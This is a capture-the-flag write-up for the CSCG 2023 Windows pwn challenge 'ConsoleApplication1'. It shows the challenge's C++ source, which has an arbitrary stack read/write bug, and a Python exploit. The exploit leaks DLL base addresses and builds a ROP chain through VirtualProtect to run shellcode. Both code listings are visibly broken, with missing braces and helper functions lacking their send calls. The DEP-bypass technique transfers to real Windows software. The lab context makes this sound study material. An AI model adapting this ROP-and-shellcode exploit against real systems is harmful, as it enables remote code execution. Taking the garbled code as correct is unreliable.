CSCG 2023 - ConsoleApplication1

Last modification on


Everybody likes Win PWN so here is a simple challenge to get you started :)

Challenge Files

#include <iostream>

int main()
    int64_t val, pos;
    int64_t* ptr = &val;

    std::cout << "Hello World!\n";

    while (1)
        std::string cmd;
        std::cout << "Do?\n";
        std::cin >> cmd;

        switch (cmd[0])
        case 'w':
            std::cout << "pos: ";
            std::cin >> pos;
            std::cout << "val: ";
            std::cin >> val;
            ptr[pos] = val;
        case 'r':
            std::cout << "pos: ";
            std::cin >> pos;
            std::cout << ptr[pos] << "\n";
            return 0;


We are presented with a small C++ console application for Windows, that allows the user to perform arbitrary read / write relative to a stack address. From the DLLs present on remote, kernel32.dll, ntdll.dll and ucrtbase.dll are provided in the challenge files. The objective is to achieve remote code execution and read the flag file.


The stack provides writable memory to place shellcode and many valuable pointers that can be used used to calculate the base addresses of libraries. Among them, ntdll.dll and kernel32.dll can be used to build ROP chains that make calls to the Win32 API.

By overwriting the function's return address on the stack we can also control rip.

All that's left to execute shellcode is to add executable permissions to the target memory region using VirtualProtect, since DEP is enabled.


The exploit consists of writing our shellcode to the stack and ROPing first into VirtualProtect, then into the shellcode.

The arguments for our call to VirtualProtect are setup using ROP gadgets found in the ntdll.dll and kerne32.dll. The registers we need to set are rcx (lpAddress), rdx (dwSize), r8 (flNewProtect) and r9 (flOldProtect).

We can find useful ROP gadgets in the linked libraries using rp++.
from pwintools import *
import ctypes
import struct
import sys

def write(io, pos, val):
    io.recvuntil(b"pos: ")
    io.recvuntil(b"val: ")

def read(io, pos):
    io.recvuntil(b"pos: ")
    return int(io.recvline().decode().strip())

def writeall(io, addr, data):
    for i in range(0, len(data), 8):
        write(io, pos(addr + i), i64(data[i:i+8].ljust(8, b"\x00")))

shell = open("shell.bin", "rb").read()

io = Remote(sys.argv[1], 4444)

kernel32_base = read(io, 16) - 0x14de0
ntdll_base = read(io, -194) - 0x14de0
virtual_protect = kernel32_base + 0x1bf60
rop_pop_rcx_r8_r9_r10_r11 = ntdll_base + 0x8e191
rop_pop_rdx = kernel32_base + 0x24bf2

main_return = read(io, 8)
stack_leak = read(io, -28)
write_dst = stack_leak + 0x18
rop_dst = write_dst + 0x40
shell_dst = stack_leak - 0x4000

pos = lambda x: (x - write_dst) // 8
i64 = lambda x: ctypes.c_int64(u64(x)).value
pi64 = lambda x: struct.pack("<q",x)

rop = p64(rop_pop_rdx) + p64(len(shell))
rop += p64(rop_pop_rcx_r8_r9_r10_r11) + p64(shell_dst) + p64(0x40) + p64(shell_dst - 8) + p64(0) + p64(0)
rop += p64(virtual_protect)
rop += p64(shell_dst)

writeall(io, shell_dst, shell)
writeall(io, rop_dst, rop)



One of the provided DLLs, ucrtbase.dll, is Microsoft's Universal C Runtime library, which gives us access to many of the POSIX functions we know and love, such as system. In this case, leaking ucrtbase.dll from a stack pointer and ROPing into system would have also been enough to gain RCE.